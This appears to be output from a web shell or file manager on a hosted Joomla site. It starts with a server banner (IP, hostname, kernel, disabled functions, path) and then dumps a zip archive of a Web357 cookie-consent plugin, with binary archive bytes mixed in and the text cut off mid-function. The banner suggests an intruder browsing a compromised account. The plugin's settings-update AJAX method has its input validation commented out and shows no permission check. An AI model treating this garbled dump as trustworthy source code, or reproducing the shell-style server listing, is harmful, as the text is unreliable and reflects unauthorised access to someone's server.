uawdijnntqw1x1x1
IP : 216.73.216.84
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
07d6c
/
.
/
..
/
includes
/
..
/
administrator
/
..
/
.
/
plugins
/
..
/
1a0f4
/
..
/
ajax.zip
/
/
PK�Q�\��˕=�=6cookiespolicynotificationbar/script.install.helper.phpnu&1i�<?php /* ====================================================== # Cookies Policy Notification Bar for Joomla! - v4.4.4 (pro version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: https://demo-joomla.web357.com/cookies-policy-notification-bar # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:29:25 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Version; use Joomla\CMS\Factory; use Joomla\Filesystem\File; use Joomla\Filesystem\Folder; use Joomla\CMS\Language\Text; use Joomla\CMS\Installer\Installer; class PlgAjaxCookiespolicynotificationbarInstallerScriptHelper { public $name = ''; public $alias = ''; public $extname = ''; public $extension_type = ''; public $plugin_folder = 'system'; public $module_position = 'web357'; public $client_id = 0; public $install_type = 'install'; public $show_message = true; public $db = null; public $softbreak = null; public $mini_version = null; public function __construct(&$params) { $this->extname = $this->extname ?: $this->alias; $this->db = Factory::getDbo(); // Get Joomla's version $jversion = new Version(); $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $this->mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 } public function preflight($route, $adapter) { if (!in_array($route, array('install', 'update'))) { return true; } Factory::getLanguage()->load('plg_system_web357installer', JPATH_PLUGINS . '/system/web357installer'); if ($this->show_message && $this->isInstalled()) { $this->install_type = 'update'; } if ($this->onBeforeInstall($route) === false) { return false; } return true; } public function postflight($route, $adapter) { $this->removeGlobalLanguageFiles(); if (version_compare($this->mini_version, "4.0", "<")) { $this->removeUnusedLanguageFiles(); } Factory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder()); if (!in_array($route, array('install', 'update'))) { return true; } $this->updateHttptoHttpsInUpdateSites(); if ($this->onAfterInstall($route) === false) { return false; } if ($route == 'install') { $this->publishExtension(); } if ($this->show_message) { $this->addInstalledMessage(); } Factory::getCache()->clean('com_plugins'); Factory::getCache()->clean('_system'); return true; } public function isInstalled() { if ( ! is_file($this->getInstalledXMLFile())) { return false; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type)) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName())); $this->db->setQuery($query, 0, 1); $result = $this->db->loadResult(); return empty($result) ? false : true; } public function getMainFolder() { switch ($this->extension_type) { case 'plugin' : return JPATH_PLUGINS . '/' . $this->plugin_folder . '/' . $this->extname; case 'component' : return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname; case 'module' : return JPATH_SITE . '/modules/mod_' . $this->extname; case 'library' : return JPATH_SITE . '/libraries/' . $this->extname; } } public function getInstalledXMLFile() { return $this->getXMLFile($this->getMainFolder()); } public function getCurrentXMLFile() { return $this->getXMLFile(__DIR__); } public function getXMLFile($folder) { switch ($this->extension_type) { case 'module' : return $folder . '/mod_' . $this->extname . '.xml'; default : return $folder . '/' . $this->extname . '.xml'; } } public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true) { if (empty($extname)) { return; } $folders = array(); switch ($type) { case 'plugin'; $folders[] = JPATH_PLUGINS . '/' . $folder . '/' . $extname; break; case 'component': $folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname; $folders[] = JPATH_SITE . '/components/com_' . $extname; break; case 'module': $folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname; $folders[] = JPATH_SITE . '/modules/mod_' . $extname; break; } if ( ! $this->foldersExist($folders)) { return; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname))) ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type)); if ($type == 'plugin') { $query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder)); } $this->db->setQuery($query); $ids = $this->db->loadColumn(); if (empty($ids)) { foreach ($folders as $folder) { Folder::delete($folder); } return; } $ignore_ids = Factory::getApplication()->getUserState('rl_ignore_uninstall_ids', array()); if (Factory::getApplication()->input->get('option') == 'com_installer' && Factory::getApplication()->input->get('task') == 'remove') { // Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves $ignore_ids = array_merge($ignore_ids, Factory::getApplication()->input->get('cid', array(), 'array')); Factory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids)); } $ids = array_diff($ids, $ignore_ids); if (empty($ids)) { return; } $ignore_ids = array_merge($ignore_ids, $ids); Factory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids); foreach ($ids as $id) { $tmpInstaller = new Installer(); $tmpInstaller->uninstall($type, $id); } if ($show_message) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_INSTALLER_UNINSTALL_SUCCESS', Text::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type)) ) ); } } public function foldersExist($folders = array()) { foreach ($folders as $folder) { if (is_dir($folder)) { return true; } } return false; } public function uninstallPlugin($extname, $folder = 'system', $show_message = true) { $this->uninstallExtension($extname, 'plugin', $folder, $show_message); } public function uninstallComponent($extname, $show_message = true) { $this->uninstallExtension($extname, 'component', null, $show_message); } public function uninstallModule($extname, $show_message = true) { $this->uninstallExtension($extname, 'module', null, $show_message); } public function publishExtension() { switch ($this->extension_type) { case 'plugin' : $this->publishPlugin(); case 'module' : $this->publishModule(); } } public function publishPlugin() { $query = $this->db->getQuery(true) ->update('#__extensions') ->set($this->db->quoteName('enabled') . ' = 1') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin')) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname)) ->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder)); $this->db->setQuery($query); $this->db->execute(); } public function publishModule() { // Get module id $query = $this->db->getQuery(true) ->select($this->db->quoteName('id')) ->from('#__modules') ->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id); $this->db->setQuery($query, 0, 1); $id = $this->db->loadResult(); if ( ! $id) { return; } // check if module is already in the modules_menu table (meaning is is already saved) $query->clear() ->select($this->db->quoteName('moduleid')) ->from('#__modules_menu') ->where($this->db->quoteName('moduleid') . ' = ' . (int) $id); $this->db->setQuery($query, 0, 1); $exists = $this->db->loadResult(); if ($exists) { return; } // Get highest ordering number in position $query->clear() ->select($this->db->quoteName('ordering')) ->from('#__modules') ->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id) ->order('ordering DESC'); $this->db->setQuery($query, 0, 1); $ordering = $this->db->loadResult(); $ordering++; // publish module and set ordering number $query->clear() ->update('#__modules') ->set($this->db->quoteName('published') . ' = 1') ->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering) ->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('id') . ' = ' . (int) $id); $this->db->setQuery($query); $this->db->execute(); // add module to the modules_menu table $query->clear() ->insert('#__modules_menu') ->columns(array($this->db->quoteName('moduleid'), $this->db->quoteName('menuid'))) ->values((int) $id . ', 0'); $this->db->setQuery($query); $this->db->execute(); } public function addInstalledMessage() { Factory::getApplication()->enqueueMessage( Text::sprintf( Text::_($this->install_type == 'update' ? 'W357_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'W357_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'), '<strong>' . Text::_($this->name) . '</strong>', '<strong>' . $this->getVersion() . '</strong>', $this->getFullType() ) ); } public function getPrefix() { switch ($this->extension_type) { case 'plugin'; return Text::_('plg_' . strtolower($this->plugin_folder)); case 'component': return Text::_('com'); case 'module': return Text::_('mod'); case 'library': return Text::_('lib'); default: return $this->extension_type; } } public function getElementName($type = null, $extname = null) { $type = is_null($type) ? $this->extension_type : $type; $extname = is_null($extname) ? $this->extname : $extname; switch ($type) { case 'component' : return 'com_' . $extname; case 'module' : return 'mod_' . $extname; case 'plugin' : default: return $extname; } } public function getFullType() { return Text::_('W357_' . strtoupper($this->getPrefix())); } public function getVersion($file = '') { $file = $file ?: $this->getCurrentXMLFile(); if ( ! is_file($file)) { return ''; } $xml = Installer::parseXMLInstallFile($file); if ( ! $xml || ! isset($xml['version'])) { return ''; } return $xml['version']; } public function isNewer() { if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } $package_version = $this->getVersion(); return version_compare($installed_version, $package_version, '<='); } public function canInstall() { // The extension is not installed yet if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } // The free version is installed. So any version is ok to install if (strpos($installed_version, 'PRO') === false) { return true; } // Current package is a pro version, so all good if (strpos($this->getVersion(), 'PRO') !== false) { return true; } Factory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__); Factory::getApplication()->enqueueMessage(Text::_('W357_ERROR_PRO_TO_FREE'), 'error'); Factory::getApplication()->enqueueMessage( html_entity_decode( Text::sprintf( 'W357_ERROR_UNINSTALL_FIRST', '<a href="//www.web357.com/product/' . $this->url_alias . '" target="_blank">', '</a>', Text::_($this->name) ) ), 'error' ); return false; } public function onBeforeInstall($route) { if ( ! $this->canInstall()) { return false; } return true; } public function onAfterInstall($route) { } public function delete($files = array()) { foreach ($files as $file) { if (is_dir($file) && is_dir($file)) { Folder::delete($file); } if (is_file($file) && is_file($file)) { File::delete($file); } } } public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}') { // replace default rules value {} with the correct initial value $query = $this->db->getQuery(true) ->update($this->db->quoteName('#__assets')) ->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules)) ->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname)) ->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}')); $this->db->setQuery($query); $this->db->execute(); } private function updateHttptoHttpsInUpdateSites() { $query = $this->db->getQuery(true) ->update('#__update_sites') ->set($this->db->quoteName('location') . ' = REPLACE(' . $this->db->quoteName('location') . ', ' . $this->db->quote('http://') . ', ' . $this->db->quote('https://') . ')') ->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('http://updates.web357%')); $this->db->setQuery($query); $this->db->execute(); } private function removeGlobalLanguageFiles() { if ($this->extension_type == 'library' || $this->alias === 'web357framework') { return; } $language_files = Folder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true); // Remove override files foreach ($language_files as $i => $language_file) { if (strpos($language_file, '/overrides/') === false) { continue; } unset($language_files[$i]); } if (empty($language_files)) { return; } File::delete($language_files); } private function removeUnusedLanguageFiles() { if ($this->extension_type == 'library') { return; } $main_language_dir_path = Folder::folders(__DIR__ . '/language'); $installed_languages = array_merge( Folder::folders(JPATH_SITE . '/language'), Folder::folders(JPATH_ADMINISTRATOR . '/language') ); $languages = array(); if (is_array($main_language_dir_path) && is_array($installed_languages)) { $languages = array_diff( $main_language_dir_path, $installed_languages ); } $delete_languages = array(); if (!empty($languages)) { foreach ($languages as $language) { $delete_languages[] = $this->getMainFolder() . '/language/' . $language; } } if (empty($delete_languages)) { return; } // Remove folders $this->delete($delete_languages); } }PK�Q�\ә+��=cookiespolicynotificationbar/cookiespolicynotificationbar.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?> <extension version="3.0" type="plugin" group="ajax" method="upgrade"> <name>PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR</name> <author>Web357 (Yiannis Christodoulou)</author> <creationDate>2025-10-27</creationDate> <copyright>Copyright: (©) 2014-2024 Web357. All rights reserved.</copyright> <license>GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html</license> <authorEmail>support@web357.com</authorEmail> <authorUrl>https://www.web357.com</authorUrl> <version>4.4.4</version> <variant>pro</variant> <description>A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features and parameters (responsive, multilingual, block cookies, change style, etc.). This Joomla! plugin is ready for the GDPR Compliance which has been already implemented on 25 May 2018.</description> <files> <folder>language</folder> <filename plugin="cookiespolicynotificationbar">cookiespolicynotificationbar.php</filename> <filename>index.html</filename> <filename>script.install.helper.php</filename> </files> <scriptfile>script.install.php</scriptfile> <updateservers><server type="extension" priority="1" name="Cookies Policy Notification Bar (pro version)">https://updates.web357.com/cookiespolicynotificationbar/cookiespolicynotificationbar_pro.xml</server></updateservers> </extension>PK�Q�\}�������=cookiespolicynotificationbar/cookiespolicynotificationbar.phpnu&1i�<?php /* ====================================================== # Cookies Policy Notification Bar for Joomla! - v4.4.4 (pro version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: https://demo-joomla.web357.com/cookies-policy-notification-bar # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:29:25 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\Utilities\IpHelper; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Uri\Uri; use Joomla\Registry\Registry; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Response\JsonResponse; use Joomla\CMS\Filter\InputFilter; class plgAjaxCookiesPolicyNotificationBar extends CMSPlugin { public function onAjaxCookiespolicynotificationbar() { $app = Factory::getApplication(); $jcookies = $app->input->cookie->getArray(); // $_COOKIE // Define vars $html = ''; $cookies_num = 0; // Load the plugin language file $lang = Factory::getLanguage(); $current_lang_tag = $lang->getTag(); $lang = Factory::getLanguage(); $extension = 'plg_system_cookiespolicynotificationbar'; $base_dir = JPATH_SITE . '/plugins/system/cookiespolicynotificationbar/'; $language_tag = (!empty($current_lang_tag)) ? $current_lang_tag : 'en-GB'; $reload = true; $lang->load($extension, $base_dir, $language_tag, $reload); // Vars $jinput = $app->input; $method = $jinput->get('method', 'displayCookiesTable', 'STRING'); $get_cookie_name = $jinput->get('cookie_name', '', 'STRING'); // Plugin params $params = $this->getParams(); $prm_cookie_name = $params->get('cookie_name', 'cookiesDirective'); $store_acceptance_logs_into_db = $params->get('store_acceptance_logs_into_db', '1'); $shortcode_tag = $params->get('shortcode_tag', 'cookiesinfo'); $allowSessionCookies = $params->get('allowSessionCookies', '1'); $hide_cookies_from_table = $params->get('hide_cookies_from_table', ''); /** * Adds a logger for the "plg_system_cookiespolicynotificationbar" plugin if JDEBUG is enabled. * The logger writes log messages to a text file named "plg_system_cookiespolicynotificationbar.log.php". * The logger is set to log all types of messages. */ if (JDEBUG) { Log::addLogger(['text_file' => 'plg_system_cookiespolicynotificationbar.log.php'], Log::ALL, ['plg_system_cookiespolicynotificationbar']); } // Hide Cookies from Table if (!empty($hide_cookies_from_table)) { $hide_cookies_from_table_arr = preg_replace('#\s+#', '', trim($hide_cookies_from_table)); $hide_cookies_from_table_arr = explode(',', $hide_cookies_from_table_arr); } else { $hide_cookies_from_table_arr = array(); } // Check if the user declined $cookiesDeclined = $app->input->cookie->get('cookiesDeclined', '', 'INT'); if ($method == 'displayCookiesTable') { // get lang tag for the variable $lang_tag = str_replace("-", "_", $language_tag); $lang_tag = !empty($lang_tag) ? $lang_tag : "en_GB"; // Control Shortcode's content $shortcode_text_before_accept_or_decline = html_entity_decode($params->get('shortcode_text_before_accept_or_decline_' . $lang_tag, Text::_('PLG_SYSTEM_CPNB_TEXT_BEFORE_ACCEPT_DECLINE_DEFAULT'))); $shortcode_text_after_accept = html_entity_decode($params->get('shortcode_text_after_accept_' . $lang_tag, Text::_('PLG_SYSTEM_CPNB_TEXT_AFTER_ACCEPT_DEFAULT'))); $shortcode_text_after_decline = html_entity_decode($params->get('shortcode_text_after_decline_' . $lang_tag, Text::_('PLG_SYSTEM_CPNB_TEXT_AFTER_DECLINE_DEFAULT'))); // Get HTML Code for each situation $buttons_before_accept_or_decline = $this->showButtons($params, $lang_tag, 'before_accept_or_decline'); $info_table_before_accept_or_decline = $this->showCookiesInfoTable($params, $lang_tag, 'before_accept_or_decline', $hide_cookies_from_table_arr); $buttons_after_accept = $this->showButtons($params, $lang_tag, 'after_accept'); $info_table_after_accept = $this->showCookiesInfoTable($params, $lang_tag, 'after_accept', $hide_cookies_from_table_arr); $buttons_after_decline = $this->showButtons($params, $lang_tag, 'after_decline'); $info_table_after_decline = $this->showCookiesInfoTable($params, $lang_tag, 'after_decline', $hide_cookies_from_table_arr); // BEFORE ACCEPT OR DECLINE preg_match('/{cpnb_buttons}/i', $shortcode_text_before_accept_or_decline, $matches_btns_a); if ($matches_btns_a) { $shortcode_text_before_accept_or_decline = str_replace($matches_btns_a[0], $buttons_before_accept_or_decline, $shortcode_text_before_accept_or_decline); } preg_match('/{cpnb_cookies_info_table}/i', $shortcode_text_before_accept_or_decline, $matches_tbl_a); if ($matches_tbl_a) { $shortcode_text_before_accept_or_decline = str_replace($matches_tbl_a[0], $info_table_before_accept_or_decline, $shortcode_text_before_accept_or_decline); } // AFTER ACCEPT preg_match('/{cpnb_buttons}/i', $shortcode_text_after_accept, $matches_btns_b); if ($matches_btns_b) { $shortcode_text_after_accept = str_replace($matches_btns_b[0], $buttons_after_accept, $shortcode_text_after_accept); } preg_match('/{cpnb_cookies_info_table}/i', $shortcode_text_after_accept, $matches_tbl_b); if ($matches_tbl_b) { $shortcode_text_after_accept = str_replace($matches_tbl_b[0], $info_table_after_accept, $shortcode_text_after_accept); } // AFTER DECLINE preg_match('/{cpnb_buttons}/i', $shortcode_text_after_decline, $matches_btns_c); if ($matches_btns_c) { $shortcode_text_after_decline = str_replace($matches_btns_c[0], $buttons_after_decline, $shortcode_text_after_decline); } preg_match('/{cpnb_cookies_info_table}/i', $shortcode_text_after_decline, $matches_tbl_c); if ($matches_tbl_c) { $shortcode_text_after_decline = str_replace($matches_tbl_c[0], $info_table_after_decline, $shortcode_text_after_decline); } foreach ($jcookies as $cookie_name => $cookie_value) { if (isset($jcookies[$cookie_name])) { // Display only Persistent cookies and avoid Session Cookies // Also do not display the cookiesDeclined cookie in the list if (!$this->isSessionCookie($cookie_value) && !in_array($cookie_name, $hide_cookies_from_table_arr)) { $cookies_num++; } } } if ($cookies_num == 0 && !$cookiesDeclined) { $html = $shortcode_text_before_accept_or_decline; } elseif ($cookies_num > 0 && !$cookiesDeclined) { $html = $shortcode_text_after_accept; } elseif ($cookies_num > 0 && $cookiesDeclined) { $html = $shortcode_text_after_decline; } // clean the cache first $this->cleanTheCache(); } if ($method == 'update_settings_ajax') { // Get the application input object $input = Factory::getApplication()->input->post; // Sanitize the inputs using Joomla's InputFilter $filter = InputFilter::getInstance(); $cookie_name = $filter->clean($input->getString('cookie_name', ''), 'STRING'); $position = $filter->clean($input->getString('position', ''), 'STRING'); // Further validate or process the sanitized data // For example, ensure the position is one of the allowed values /* if (!in_array($position, ['top', 'bottom', 'left', 'right'], true)) { throw new \Exception('Invalid position value', 400); } */ // Load the plugin params $plugin = PluginHelper::getPlugin('system', 'cookiespolicynotificationbar'); $params = json_decode($plugin->params); // Update the parameters $params->cookie_name = $cookie_name; $params->position = $position; // Save the parameters back to the database $db = Factory::getDbo(); $query = $db->getQuery(true) ->update($db->quoteName('#__extensions')) ->set($db->quoteName('params') . ' = ' . $db->quote(json_encode($params))) ->where($db->quoteName('element') . ' = ' . $db->quote('cookiespolicynotificationbar')) ->where($db->quoteName('folder') . ' = ' . $db->quote('system')); $db->setQuery($query); try { $db->execute(); // Return a JSON response indicating success echo new JsonResponse(['success' => true, 'cookie_name' => $cookie_name, 'position' => $position]); } catch (Exception $e) { // Return a JSON response indicating failure echo new JsonResponse(['success' => false, 'error' => $e->getMessage()], 500); } Factory::getApplication()->close(); } // DECLINE COOKIES if ($method == 'declineCookies') { // clean the cache first $this->cleanTheCache(); if (isset($jcookies)) { // block joomla session cookies if (!$allowSessionCookies) { header_remove('Set-Cookie'); } // Delete all cookies foreach ($jcookies as $key => $val) { if (isset($jcookies[$key])) { // Delete only the Persistent cookies and avoid Session Cookies (Avoid logged out of Joomla Administrator) if (!$allowSessionCookies || !$this->isSessionCookie($val)) { setcookie($key, '', time() - 1000, '/', $this->getFullDomain()); // example: test.google.com setcookie($key, '', time() - 1000, '/', $this->getDomainOnly()); // example: google.com $app->input->cookie->set($key, '', time() - 1000, $app->get('cookie_path', '/'), $app->get('cookie_domain'), $app->isSSLConnection()); } } } // Store the visitor decision into the database. if ($store_acceptance_logs_into_db) { $this->storeDecision(Text::_('PLG_SYSTEM_CPNB_DECLINED_DB_VALUE'), $jcookies['cpnb_cookiesSettings']); } $return = array(); $return["offline"] = $app->getCfg('offline'); $return["json"] = json_encode($return); echo json_encode($return); } // set cookie to remember tha the cookies Declined $expires = time() + 60 * 60 * 24 * 30; // 30 days $app->input->cookie->set('cookiesDeclined', '1', $expires, $app->get('cookie_path', '/'), $app->get('cookie_domain'), $app->isSSLConnection()); $cookiesDeclined = $app->input->cookie->get('cookiesDeclined', '', 'INT'); } // DELETE COOKIES if ($method == 'deleteCookies') { // clean the cache first $this->cleanTheCache(); if (isset($jcookies)) { // block joomla session cookies if (!$allowSessionCookies) { header_remove('Set-Cookie'); } // Delete all cookies foreach ($jcookies as $key => $val) { if (isset($jcookies[$key])) { // Delete only the Persistent cookies and avoid Session Cookies (Avoid logged out of Joomla Administrator) if (!$allowSessionCookies || !$this->isSessionCookie($val)) { setcookie($key, '', time() - 1000, '/', $this->getFullDomain()); // example: test.google.com setcookie($key, '', time() - 1000, '/', $this->getDomainOnly()); // example: google.com $app->input->cookie->set($key, '', time() - 1000, $app->get('cookie_path', '/'), $app->get('cookie_domain'), $app->isSSLConnection()); } } } // Store the visitor decision into the database. if ($store_acceptance_logs_into_db) { $this->storeDecision(Text::_('PLG_SYSTEM_CPNB_DECLINED_DB_VALUE'), $jcookies['cpnb_cookiesSettings']); } $return = array(); $return["offline"] = $app->getCfg('offline'); $return["json"] = json_encode($return); echo json_encode($return); } } // ALLOW COOKIES if ($method == 'allowCookies' && $get_cookie_name == $prm_cookie_name) { // clean the cache first $this->cleanTheCache(); // allow cookies $cookie_expiration = time() + (86400 * 30); // 30 days $app->input->cookie->set($prm_cookie_name, 1, $cookie_expiration, $app->get('cookie_path', '/'), $app->get('cookie_domain'), $app->isSSLConnection()); // delete the "cookiesDeclined" cookie bececause the user allows now. setcookie('cookiesDeclined', '', time() - 1000, '/', $this->getFullDomain()); // example: test.google.com setcookie('cookiesDeclined', '', time() - 1000, '/', $this->getDomainOnly()); // example: google.com $app->input->cookie->set('cookiesDeclined', '', time() - 1000, $app->get('cookie_path', '/'), $app->get('cookie_domain'), $app->isSSLConnection()); $cookiesDeclined = $app->input->cookie->get('cookiesDeclined', '', 'INT'); // Store the visitor decision into the database. if ($store_acceptance_logs_into_db) { $this->storeDecision(Text::_('PLG_SYSTEM_CPNB_ACCEPTED_DB_VALUE'), $jcookies['cpnb_cookiesSettings']); } } // Show the acceptance logs in a nice modal at backend if ($method == 'displayAcceptanceLogs') { return $this->getAcceptanceLogs(); } // Method to delete the acceptance logs at backend if ($method == 'deleteAcceptanceLogs') { return $this->deleteAcceptanceLogs(); } // Method to restore the default plugin settings if ($method == 'restoreToDefaults') { return $this->restoreToDefaults(); } // COOKIES ACCEPTED if ($method == 'cpnbCookiesAccepted') { // clean the cache first $this->cleanTheCache(); // Store the visitor decision into the database. if ($store_acceptance_logs_into_db) { $cookie_settings = isset($jcookies['cpnb_cookiesSettings']) ? $jcookies['cpnb_cookiesSettings'] : ''; $this->storeDecision(Text::_('PLG_SYSTEM_CPNB_ACCEPTED_DB_VALUE'), $cookie_settings); } } return $html; } /** * Get the plugin parameters * * @return object */ public function getParams() { // Plugin params $db = Factory::getDBO(); $db->setQuery("SELECT params FROM #__extensions WHERE element = 'cookiespolicynotificationbar' AND folder = 'system'"); $plugin = $db->loadObject(); $params = new Registry(); $params->loadString($plugin->params); return $params; } /** * Get the descriptions of cookies */ public function getCookieDescription($params, $cookie_name = '') { $cookie_description = ''; if (!empty($cookie_name)) { $cookie_descriptions_group = $params->get('cookie_descriptions_group', ''); if (!empty($cookie_descriptions_group) && is_object($cookie_descriptions_group)) { foreach ($cookie_descriptions_group as $group => $cookie_obj) { if ($cookie_obj->cookie_status && $cookie_obj->cookie_name == $cookie_name) { $cookie_description = Text::_($cookie_obj->cookie_description); } } } } return $cookie_description; } /** * Get the expiration of cookie */ public function getCookieExpiration($params, $cookie_name = '') { $cookie_expiration = ''; if (!empty($cookie_name)) { $cookie_descriptions_group = $params->get('cookie_descriptions_group', ''); if (!empty($cookie_descriptions_group) && is_object($cookie_descriptions_group)) { foreach ($cookie_descriptions_group as $group => $cookie_obj) { if ($cookie_obj->cookie_status && $cookie_obj->cookie_name == $cookie_name) { $cookie_expiration = isset($cookie_obj->cookie_expiration) ? Text::_($cookie_obj->cookie_expiration) : ''; } } } } return $cookie_expiration; } /** * Display the Info Table * * STATUS * before_accept_or_decline * after_accept * after_decline */ private function showCookiesInfoTable($params, $lang_tag, $status = '', $hide_cookies_from_table_arr = array()) { // Other texts for translations $no_cookies_here_txt = $params->get('no_cookies_here_txt_' . $lang_tag, Text::_('PLG_SYSTEM_CPNB_NO_COOKIES_HERE')); // define vars $html = ''; $html_row = ''; $cookies_num = 0; $app = Factory::getApplication(); $jcookies = $app->input->cookie->getArray(); // $_COOKIE foreach ($jcookies as $cookie_name => $cookie_value) { if (isset($jcookies[$cookie_name])) { // Display only Persistent cookies and avoid Session Cookies // Also do not display the cookiesDeclined cookie in the list if (!$this->isSessionCookie($cookie_value) && !in_array($cookie_name, $hide_cookies_from_table_arr)) { $cookie_description = $this->getCookieDescription($params, $cookie_name); $cookie_expiration = $this->getCookieExpiration($params, $cookie_name); $html_row .= '<tr>'; $html_row .= '<td class="cpnb-cookie-name-col" data-label="' . Text::_('PLG_SYSTEM_CPNB_COOKIE_NAME') . '">' . $cookie_name . '</td>'; $html_row .= '<td class="cpnb-cookie-value-col" data-label="' . Text::_('PLG_SYSTEM_CPNB_COOKIE_VALUE') . '">' . $cookie_value . '</td>'; $html_row .= '<td class="cpnb-cookie-expiration-col" data-label="' . Text::_('PLG_SYSTEM_CPNB_COOKIE_EXPIRATION') . '">' . (!empty($cookie_expiration) ? $cookie_expiration : Text::_('---')) . '</td>'; $html_row .= '<td class="cpnb-cookie-desc-col" data-label="' . Text::_('PLG_SYSTEM_CPNB_COOKIE_DESCRIPTION') . '">' . (!empty($cookie_description) ? $cookie_description : Text::_('PLG_SYSTEM_CPNB_COOKIE_EMPTY_DESCRIPTION')) . '</td>'; $cookies_num++; } } } if ($cookies_num > 0) { // Cookies are enabled - Delete $html .= '<div class="cpnb-margin cpnb-cookies-table-container">'; $html .= '<table width="100%" border="1" cellpadding="5" cellspacing="5" class="cpnb-cookies-table">'; $html .= '<thead>'; $html .= '<tr>'; $html .= '<th class="cpnb-cookie-name-heading-col" scope="col">' . Text::_('PLG_SYSTEM_CPNB_COOKIE_NAME') . '</th>'; $html .= '<th class="cpnb-cookie-value-heading-col" scope="col">' . Text::_('PLG_SYSTEM_CPNB_COOKIE_VALUE') . '</th>'; $html .= '<th class="cpnb-cookie-expiration-heading-col" scope="col">' . Text::_('PLG_SYSTEM_CPNB_COOKIE_EXPIRATION') . '</th>'; $html .= '<th class="cpnb-cookie-desc-heading-col" scope="col">' . Text::_('PLG_SYSTEM_CPNB_COOKIE_DESCRIPTION') . '</th>'; $html .= '</tr>'; $html .= '</thead>'; $html .= '<tbody>'; $html .= $html_row; $html .= '</tbody>'; $html .= '</table>'; $html .= '</div>'; } else { $html .= '<div class="cpnb-margin cpnb-no-cookies-here">'; $html .= Text::_($no_cookies_here_txt); $html .= '</div>'; } return $html; } /** * Display the buttons * * STATUS * before_accept_or_decline * after_accept * after_decline */ private function showButtons($params, $lang_tag, $status = '') { // Other texts for translations $allow_cookies_btn_text = $params->get('allow_cookies_btn_text_' . $lang_tag, Text::_('PLG_SYSTEM_CPNB_ALLOW_COOKIES')); $delete_cookies_btn_text = $params->get('delete_cookies_btn_text_' . $lang_tag, Text::_('PLG_SYSTEM_CPNB_DELETE_COOKIES')); $reload_cookies_btn_text = $params->get('reload_cookies_btn_text_' . $lang_tag, Text::_('PLG_SYSTEM_CPNB_RELOAD')); // allow btn $allow_btn = '<button class="cpnb-btn cpnb-allow-btn cpnb-margin-right">' . Text::_($allow_cookies_btn_text) . '</button>'; // delete btn $delete_btn = '<button class="cpnb-btn cpnb-delete-btn cpnb-margin-right">' . Text::_($delete_cookies_btn_text) . '</button>'; // reload btn $reload_btn = '<button class="cpnb-btn cpnb-reload-btn">' . Text::_($reload_cookies_btn_text) . '</button>'; // display switch ($status) { case "before_accept_or_decline": $html = $allow_btn; break; case "after_accept": $html = $delete_btn . ' ' . 